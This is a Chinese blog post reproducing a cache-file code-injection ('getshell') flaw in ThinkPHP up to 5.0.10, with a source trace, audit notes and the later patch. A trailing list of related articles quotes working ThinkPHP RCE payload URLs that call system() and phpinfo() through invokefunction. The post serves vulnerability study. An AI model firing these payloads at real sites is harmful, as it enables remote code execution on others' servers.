Thinkphp <= 5.0.10 缓存getshell复现

目录

  • Thinkphp <= 5.0.10 缓存getshell复现

    • 0x01 poc
    • 0x02 跟踪源码
    • 0x03 审计思路
    • 0x04 补丁
    • 0x05 参考

Thinkphp <= 5.0.10 缓存getshell复现

0x01 poc

首先看缓存函数的使用场景

然后会生成以下缓存文件

可以看到,字符串abc直接存储到以php结尾的缓存文件中。尝试使用\n换行getshell

语法有错,注释一下后面的垃圾字符,成功getshell。

0x02 跟踪源码

首先跟进18行的Cache::set()函数

跟进self::init()

self::$handler此时为null,进入true块,由于上面调用的是self::init(),没有参数,故67行条件不满足。

69行,查看配置cache.type的值,发现默认为File,

故此条件也不满足,进入72行。此处以上图的cache数组作为参数,调用了self::connect()。跟进connect方法

这里通过一系列判断,根据cache.type的值,找到cache驱动为File,对应44行的think\cache\driver\File类。然后在51行进行实例化,并return。

回溯到上个函数,也直接return

继续回溯

这里调用了return过来的实例的set方法。跟进think\cache\driver\File的set方法

可以看到,在142行调用了getCacheKey方法。

跟进getCacheKey方法后发现,这里由于options[‘cache_subdir‘]默认值是true,所以这里直接用参数md5加密后的结果的前两位作为目录名,剩余30位作为缓存文件名。然后通过拼接.php后return。

继续回来,获取上面构造的filename之后,在146行将$value进行序列化,然后在149行使用gzcompress对其进行二进制压缩。接着在151行在data前后拼接php标签,最后在152行写文件。

这里存在漏洞的点就是151行把用户可控的数据放到了php标签内。

0x03 审计思路

拿到源码后,找到Cache::set(name, value, expire),其中缓存文件名是跟name相关联的,因此可以看作是一个已知条件。漏洞的关键点就是value是否可控。

0x04 补丁

看一下修复之后的结果(v5.0.15)

这里在data之前加了一个exit()强制退出,基本杜绝了data执行php代码的可能。

0x05 参考

ThinkPHP 5.0.10-3.2.3 缓存函数设计缺陷可导致 Getshell

原文地址:https://www.cnblogs.com/litlife/p/11241571.html

时间: 2024-08-29 22:28:29

Thinkphp <= 5.0.10 缓存getshell复现的相关文章

ThinkPHP 5.0 版本存在getshell漏洞 php_rce

查找flag:http://111.198.29.45:45747/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22flag%22 payload:http://111.198.29.45:45747/index.php?s=index/think\app/invokefunction&

Ladon插件ThinkPHP 5.0.22 5.1.29 GetShell Exploit

前言 使用Exp生成器生成Ladon插件实战,ThinkPHP GetShell 漏洞环境 使用docker ThinkPHP 5.0.20 复现测试 Payload: http://192.168.1.37:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 执行命令 http://192.168.1.37:8080

Kafka 0.10问题点滴

15.如何消费内部topic: __consumer_offsets 主要是要让它来格式化:GroupMetadataManager.OffsetsMessageFormatter 最后用看了它的源码,把这部分挑选出来,自己解析了得到的byte[].核心代码如下: // com.sina.mis.app.ConsumerInnerTopic             ConsumerRecords<byte[], byte[]> records = consumer.poll(512);    

ThinkPHP V5.0 正式版发布

ThinkPHP5.0 正式版的发布,是团队中秋节送给PHP开发者最好的礼物!祝大家中秋快乐,事业顺利,用ThinkPHP开发更健康^_^ ThinkPHP5.0版本是一个颠覆和重构版本,官方团队历时十月,倾注了大量的时间和精力,采用全新的架构思想,引入了更多的PHP新特性,优化了核心,减少了依赖,实现了真正的惰性加载,支持composer,并针对API开发做了大量的优化,包括路由.日志.异常.模型.数据库.模板引擎和验证等模块都已经重构(基础教程qkxue.net),不适合原有3.2项目的升级

thinkphp学习笔记10—看不懂的路由规则

路由这部分貌似在实际工作中没有怎么设计过,只是在用默认的设置,在手册里面看到部分,艰涩难懂. 1.路由定义 要使用路由功能需要支持PATH_INFO,PATH_INFO是什么呢?手册中提到“要使用路由功能,前提是你的URL支持PATH_INFO(或者兼容URL模式也可以,采用普通URL模式的情况下不支持路由功能),” , url支持path_info,不是apache要支持path_info么,度娘讲的还算清楚一点,见下文: pathinfo(PHP 4 >= 4.0.3, PHP 5)path

kafka0.9.0及0.10.0配置属性

问题导读 1.borker包含哪些属性?2.Producer包含哪些属性?3.Consumer如何配置? borker(0.9.0及0.10.0)配置Kafka日志本身是由多个日志段组成(log segment).一个日志是一个FileMessageSet,它包含了日志数据以及OffsetIndex对象,该对象使用位移来读取日志数据 * borker配置就是指配置server.properties文件 * 最小配置 通常情况下需要在减压缩kafka后,修改config/server.proper

CentOS 7安装Redis4.0.10

cd /usr/local/src && wget http://download.redis.io/releases/redis-4.0.10.tar.gz && tar -xzvf redis-4.0.10.tar.gzcd /usr/local/src/redis-4.0.10 && make mkdir -p /usr/local/rediscp /usr/local/src/redis-4.0.2/src/redis-server /usr/loc

thinkphp 5.0 index.php被替换成首页内容,被注入恶意代码

原TP项目是5.0.10,近日,在登录后台时,域名/admin,跳转到网站首页.无法进入后台登录页面.然后发现,public/index.php竟然被改了. 先升级到5.0.24.还是被中枪. 后来领导查看了nginx日志.日志在 /home/wwwlogs/域名.log 发现了某个上传图片的目录下,竟然有.php文件. 192.168.100.1 - - [06/Mar/2019:14:16:35 +0800] "POST /uploads/image/chinaword/2017/06/a6

Windows 上静态编译 Libevent 2.0.10 并实现一个简单 HTTP 服务器(无数截图)

[文章作者:张宴 本文版本:v1.0 最后修改:2011.03.30 转载请注明原文链接:http://blog.s135.com/libevent_windows/] 本文介绍了如何在 Windows 操作系统中,利用微软 Visual Studio 2005 编译生成 Libevent 2.0.10 静态链接库,并利用 Libevent 静态链接库,实现一个简单的 HTTP Web服务器程序:httpd.exe. 假设 Visual Studio 2005 的安装路径为“D:\Program